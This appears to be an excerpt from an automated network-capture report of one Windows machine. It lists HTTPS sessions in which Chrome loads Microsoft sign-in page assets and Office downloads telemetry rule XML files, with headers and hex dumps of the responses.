b7 Data Ascii: Chajuh@2{945\|y\>/@l:x .Vcw:dh}[+YqmR~X#Lj7&[0B!:XRW'STE\\~gzH<FJP.y>kn>h_O;{cOE'D'>)Fx\7"XEh6R-
2024-12-05 21:17:13 UTC	16384	IN	Data Raw: 50 d0 d5 39 aa fa b8 ea f0 0c 5e b3 3c ed 39 82 c4 c7 f0 e9 f8 a9 11 fd ee 03 1a 02 ec ec bc 1e bd 0c cf 82 8f 18 b1 2f f9 88 f8 f5 23 27 ed f9 c8 49 92 e1 1d 56 8c 6e 6f f1 cf 94 ff 2c 77 76 ec 2f 77 7a 98 3c 16 d9 f0 ed 93 db db 13 5b d5 13 9e a8 98 80 40 5f 4f 91 e3 3d 11 94 39 fa 19 ba 7f ca ac ef 0d d6 09 1c 92 46 38 e2 5f c7 49 80 9e 8b 38 eb 6c 85 09 b4 62 9d 5b 1d 47 92 f1 80 12 5a 18 ff 2c 54 bd 88 98 d9 ee e6 6f 4b a0 df 82 eb 90 1a 8e 00 5a 51 5c b0 c2 e5 84 de 2e 50 30 f1 df 6e 0c 8b a6 ae c5 6b 1f 27 c6 89 07 4e c3 78 68 cd f9 b4 db 43 45 68 31 f4 4e bb b0 17 d0 fc 82 4d ac e3 d0 7d d5 09 af 3d bd d4 fe 19 1c c3 e9 22 e3 50 a5 b2 47 17 b0 3f bc 0a d5 2e 75 7a b8 4f b2 1e 67 34 d9 4e 63 97 9f 7b d6 02 d4 b7 02 3a c1 61 cd 3d bd 16 ca 31 da 5e Data Ascii: P9^<9/#'IVno,wv/wz<[@_O=9F8_I8lb[GZ,ToKZQ\.P0nk'NxhCEh1NM}="PG?.uzOg4Nc{:a=1^
2024-12-05 21:17:13 UTC	16384	IN	Data Raw: 74 72 fb 31 53 f0 93 bc 81 d3 83 bc d1 d3 83 6f 9c 02 6a e3 fb cf 03 ef f3 c6 93 51 af 57 f8 d0 5e 5b 41 b8 f6 c6 e1 d5 bf ff 20 b0 d5 6f 1c 43 7a 51 d7 1b c8 5f b4 24 71 d3 9b 0f a9 c9 b3 dd 0b f2 21 90 e4 43 24 09 25 4b 50 0d cf 8c 6f 62 e5 88 72 b3 63 51 46 52 e9 a5 cc 3b 9c 98 a6 0a 38 4d 85 3e df 95 f8 88 93 19 59 81 f6 42 13 0b 3c a8 2b 2c 2d 59 af b6 22 6e 07 b3 d5 11 28 e7 e0 30 d6 1d 1f c9 39 a8 6e 32 07 6f ac 59 1e 59 61 06 62 7c 2e 46 48 49 7c f6 91 70 d4 91 9b 81 f1 18 46 32 48 1c 20 d2 22 15 56 dd 08 24 98 bd d5 e8 1b 4f 8d 4c 62 15 e0 46 85 7d 25 72 e1 38 5e 7e 87 07 db e6 9f 6c e6 7d 32 ab ec c2 0d 57 35 d2 59 01 79 ee 6f 72 13 0d 85 da 8b c2 83 6c d0 0b 34 66 a5 dd 0c f0 9d ab f8 24 00 73 8c 07 b4 02 92 4b d5 b1 75 17 96 0e b3 72 50 0e 90 Data Ascii: tr1SojQW^[A oCzQ_$q!C$%KPobrcQFR;8M>YB<+,-Y"n(09n2oYYab\|.FHI\|pF2H "V$OLbF}%r8^~l}2W5Yyorl4f$sKurP
2024-12-05 21:17:13 UTC	16384	IN	Data Raw: 63 4d 91 32 d6 52 36 60 5b ac 09 30 f3 65 fb ce f6 e7 38 a2 0d 16 84 de c9 87 1f 4f 4a f8 36 33 60 db bc f3 8d 03 e9 66 d1 90 42 cf a6 8c fd 73 20 33 13 e0 aa f5 a5 40 6e 98 1e 23 65 91 c8 1f 22 65 95 88 25 a6 ed 09 b2 32 48 8d e5 00 61 76 8c 6d 19 c2 5e e8 e8 5e 3a 68 05 64 8e e3 55 ad b0 7d a3 83 90 da 2a 86 89 ff 9d c7 b5 4c 3e b3 9f 90 23 3f b5 f8 ac 9f a3 69 ac a8 c9 d7 f0 d0 a1 31 ea b0 ea 38 1e fd 81 54 43 6a 1c c9 64 bf 17 8b 88 be 28 f5 24 4f 23 ba 05 68 c1 47 42 db e7 a1 13 f6 2b fb 9b 6e 7b fe 7a ee ac 7b ca 26 59 1f ca 92 10 03 1c 99 6d 00 76 75 8c 2b c5 8d 05 8e f2 dd 2e 95 2d ec ca 58 d9 6b fb 4e 66 a6 cd 1d 6c b8 21 f1 95 ff f2 7e 8c bb ce 0d 00 36 ef 3f bd f7 5f 1e 44 1d cd 79 b1 33 af ad 20 dc 62 0c f8 da ff d2 10 b6 5d 8b f8 dd ff 09 a0 Data Ascii: cM2R6`[0e8OJ63`fBs 3@n#e"e%2Havm^^:hdU}*L>#?i18TCjd($O#hGB+n{z{&Ymvu+.-XkNfl!~6?_Dy3 b]
2024-12-05 21:17:13 UTC	2475	IN	Data Raw: de 2c 30 3f 34 26 15 78 3c 32 d3 c9 17 b6 63 68 f2 5e 3e ca 38 c7 fa da b4 a6 b7 c9 4e e7 6b eb eb 52 5a e4 a3 63 e0 52 22 d0 e9 eb e5 b4 39 64 8c cb 89 81 6f d5 ca 69 80 28 8f c7 e5 c4 31 24 e6 e5 c4 29 24 a6 e5 c4 89 0f 04 77 29 6d e6 03 81 5d 4a 1b f9 40 80 97 d2 6e 7c 20 c6 4b 69 97 3e 50 1b a5 b4 73 1f 48 9c 52 da 85 0f a4 51 29 ed cc b7 9e 94 d3 ae d0 e1 5d 29 ed da b7 be 2d a7 1d c9 68 79 e3 e3 b4 66 7d f1 b5 ed ac f7 28 1c df ed 02 dd 2b ec 9b 9f eb f4 dd eb 7d 2b 33 dc 1d af db 7d ff f8 89 03 39 df f8 eb ad c1 71 0a 93 ff b5 bd 0e 9f d7 dd 17 14 4f 10 e3 02 ae 47 0f d8 5e 7f 74 4f dd e7 ee a1 fb d6 fd d5 7d e5 be 73 0f 7e 87 46 f4 ed c2 7d 89 4a 7c 59 a6 83 dc bb ef fd 83 56 74 1e 03 cf f7 82 63 43 7f e7 bf 94 24 d3 33 bf ed be 46 3e eb 7b 14 3a Data Ascii: ,0?4&x<2ch^>8NkRZcR"9doi(1$)$w)m]J@n\| Ki>PsHRQ)])-hyf}(+}+3}9qOG^tO}s~F}J\|YVtcC$3F>{:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	49855	13.107.246.63	443	5264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:12 UTC	662	OUT	GET /shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://login.microsoftonline.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-05 21:17:13 UTC	740	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:12 GMT Content-Type: image/gif Content-Length: 3620 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Wed, 24 May 2023 10:11:48 GMT ETag: 0x8DB5C3F4904824B x-ms-request-id: 5186bd21-701e-0056-5700-454506000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241205T211712Z-1746fd949bdlqd7fhC1EWR6vt000000003e000000000dav9 x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:13 UTC	3620	IN	Data Raw: 47 49 46 38 39 61 60 01 03 00 f0 00 00 00 00 00 69 69 69 21 f9 04 09 05 00 00 00 21 fe 26 45 64 69 74 65 64 20 77 69 74 68 20 65 7a 67 69 66 2e 63 6f 6d 20 6f 6e 6c 69 6e 65 20 47 49 46 20 6d 61 6b 65 72 00 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d a9 b7 07 ed 50 8a 6c d2 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a2 0a 04 49 01 d6 3a 71 4a d7 f6 8d e7 fa ce 6b ab f5 00 ba 60 42 59 b1 87 4c 2a 97 cc 26 af 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 39 84 1f 69 19 07 ec 96 8a b2 51 34 af de bc fb 0f 86 e2 48 96 e6 89 a6 6a 0a 3d 99 6b 39 2d 35 5f f5 8a e7 fa ce f7 fe 0f 8c b4 6a 37 98 a6 28 7b 05 97 cc a6 f3 09 d5 15 00 00 21 f9 04 09 03 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 39 84 0f Data Ascii: GIF89a`iii!!&Edited with ezgif.com online GIF maker!NETSCAPE2.0,`6PlHI:qJk`BYL*&!,`9iQ4Hj=k9-5_j7({!,`9

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	49857	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:13 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:17:13 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:13 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: c73ff22a-601e-0097-54c1-45f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211713Z-1746fd949bdfg4slhC1EWR34t00000000370000000002bkb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:13 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	49858	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:13 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:17:13 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:13 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 9b021dfd-501e-0047-60c1-45ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211713Z-1746fd949bdwt8wrhC1EWRu6rg00000003gg000000000v25 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:13 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	49859	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:13 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:17:13 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:13 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 4da954f1-f01e-003f-58cd-45d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211713Z-1746fd949bdtlp5chC1EWRq1v4000000034g00000000tbxu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:13 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	49861	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:13 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:17:13 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:13 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: bbae04f8-a01e-0032-80cc-451949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211713Z-1746fd949bdjrnwqhC1EWRpg28000000038g00000000qm9v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:13 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	49860	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:13 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:17:13 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:13 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: f144d7bf-801e-0035-05bd-46752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211713Z-1746fd949bdlqd7fhC1EWR6vt000000003f0000000008tyh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:13 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	49862	13.107.246.63	443	5264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:14 UTC	423	OUT	GET /shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-05 21:17:15 UTC	740	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:15 GMT Content-Type: image/gif Content-Length: 2672 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Wed, 24 May 2023 10:11:47 GMT ETag: 0x8DB5C3F48EC4154 x-ms-request-id: f77db5f6-401e-007a-14fa-44de16000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241205T211715Z-1746fd949bddgsvjhC1EWRum2c00000003gg00000000h8aq x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:15 UTC	2672	IN	Data Raw: 47 49 46 38 39 61 60 01 03 00 f0 00 00 ff ff ff 96 96 96 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d a9 b7 07 ed 50 8a 6c d2 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a2 0a 04 49 01 d6 3a 71 4a d7 f6 8d e7 fa ce 6b ab f5 00 ba 60 42 59 b1 87 4c 2a 97 cc 26 af 00 00 21 f9 04 09 05 00 00 00 2c 06 00 00 00 30 00 03 00 00 02 1a 8c 01 16 88 ca ec 1e 3c f2 a9 18 1b b5 5b e6 9a 5c 4b 38 6a e5 74 72 a9 67 14 00 21 f9 04 09 03 00 00 00 2c 07 00 00 00 33 00 03 00 00 02 1a 8c 81 16 c8 ca ef 5e 3b 12 2a 0a e2 5c 55 4b df 5d 5c 86 25 e5 56 99 63 aa 14 00 21 f9 04 09 05 00 00 00 2c 0a 00 00 00 37 00 03 00 00 02 1a 8c 81 60 91 b9 ed 0e 6c 6f c6 c5 ee ac 90 5b bf 61 19 02 2a 52 77 7e 69 18 14 00 21 Data Ascii: GIF89a`!NETSCAPE2.0!,`6PlHI:qJk`BYL&!,0<[\K8jtrg!,3^;\UK]\%Vc!,7`lo[a*Rw~i!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	49863	13.107.246.63	443	5264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:14 UTC	417	OUT	GET /shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-05 21:17:15 UTC	740	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:15 GMT Content-Type: image/gif Content-Length: 3620 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Wed, 24 May 2023 10:11:48 GMT ETag: 0x8DB5C3F4904824B x-ms-request-id: 5186bd21-701e-0056-5700-454506000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241205T211715Z-1746fd949bddgsvjhC1EWRum2c00000003mg000000003k34 x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:15 UTC	3620	IN	Data Raw: 47 49 46 38 39 61 60 01 03 00 f0 00 00 00 00 00 69 69 69 21 f9 04 09 05 00 00 00 21 fe 26 45 64 69 74 65 64 20 77 69 74 68 20 65 7a 67 69 66 2e 63 6f 6d 20 6f 6e 6c 69 6e 65 20 47 49 46 20 6d 61 6b 65 72 00 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d a9 b7 07 ed 50 8a 6c d2 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a2 0a 04 49 01 d6 3a 71 4a d7 f6 8d e7 fa ce 6b ab f5 00 ba 60 42 59 b1 87 4c 2a 97 cc 26 af 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 39 84 1f 69 19 07 ec 96 8a b2 51 34 af de bc fb 0f 86 e2 48 96 e6 89 a6 6a 0a 3d 99 6b 39 2d 35 5f f5 8a e7 fa ce f7 fe 0f 8c b4 6a 37 98 a6 28 7b 05 97 cc a6 f3 09 d5 15 00 00 21 f9 04 09 03 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 39 84 0f Data Ascii: GIF89a`iii!!&Edited with ezgif.com online GIF maker!NETSCAPE2.0,`6PlHI:qJk`BYL*&!,`9iQ4Hj=k9-5_j7({!,`9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	49864	13.107.246.63	443	5264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:14 UTC	435	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_pfetchsessionsprogress_d0a803279e7397bef834.js HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-05 21:17:15 UTC	817	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:15 GMT Content-Type: application/x-javascript Content-Length: 5529 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Thu, 15 Aug 2024 17:52:54 GMT ETag: 0x8DCBD531731891C x-ms-request-id: ee235bc3-201e-001e-4c40-472f8e000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241205T211715Z-1746fd949bd7wvgbhC1EWR0rgs00000003a000000000fu7t x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
